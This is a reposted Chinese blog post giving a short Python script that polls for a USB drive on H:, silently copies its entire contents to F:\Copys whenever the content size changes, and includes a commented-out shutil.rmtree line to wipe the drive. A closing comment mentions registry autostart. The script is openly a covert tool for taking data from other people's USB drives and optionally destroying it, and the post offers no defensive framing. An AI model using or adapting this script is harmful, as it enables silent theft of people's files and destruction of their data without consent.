本文共 1235 字,大约阅读时间需要 4 分钟。
思路:一直在检测U盘盘符,有就拷贝并清空U盘(下面的代码把清空注释掉了)
# 检索U盘资料并拷贝import shutil# 系统包 找到U盘路径import osimport time# 系统路径包,可以拼接一个绝对路径from os.path import join,getsize"""shutil.copytree(usb,save)递归拷贝出所有文件shutil.copyfile(src,dst)目标地址要具备可写权限shutil.move(src,dst)移动文件或者重命名shutil.copymode(src,dst)拷贝文件所在系统权限shutil.rmtree(src)递归删除目录最好不用,杀伤力大"""# 插入U盘时,会出现一个H盘或者其他盘USB= 'H:\\'# 预备将U盘所有内容保存到本地磁盘的目录SAVE = 'F:\\Copys'# 获取U盘所有文件大小def get_dir_size(dir): size = 0 # 调用os包的walk()方法获取到U盘文件夹中的所有内容 for root, dirs, files in os.walk(dir): # 获取U盘文件总大小 print(dirs) size += sum([getsize(join(root,name)) for name in files]) return size# 拷贝操作def usb_copy(): shutil.copytree(USB,SAVE) # 拷贝出来 # shutil.rmtree(USB)#清空USB,不要轻易尝试这一句# 执行函数def main(): # 本地磁盘目标目录SAVE的大小初始为0 destination_dirsize = 0 # 一直监听是否有U盘插入 while True: # U盘监听,是否被系统识别 if os.path.exists(USB): print("检测到U盘了") new_dirsize = get_dir_size(USB) if destination_dirsize != new_dirsize: usb_copy() destination_dirsize = new_dirsize else: print("没有变化") else: print('暂时没检测到U盘') time.sleep(5)# python写入注册表开机自启程序,if __name__ == '__main__': main()
转载地址:http://jcwsi.baihongyu.com/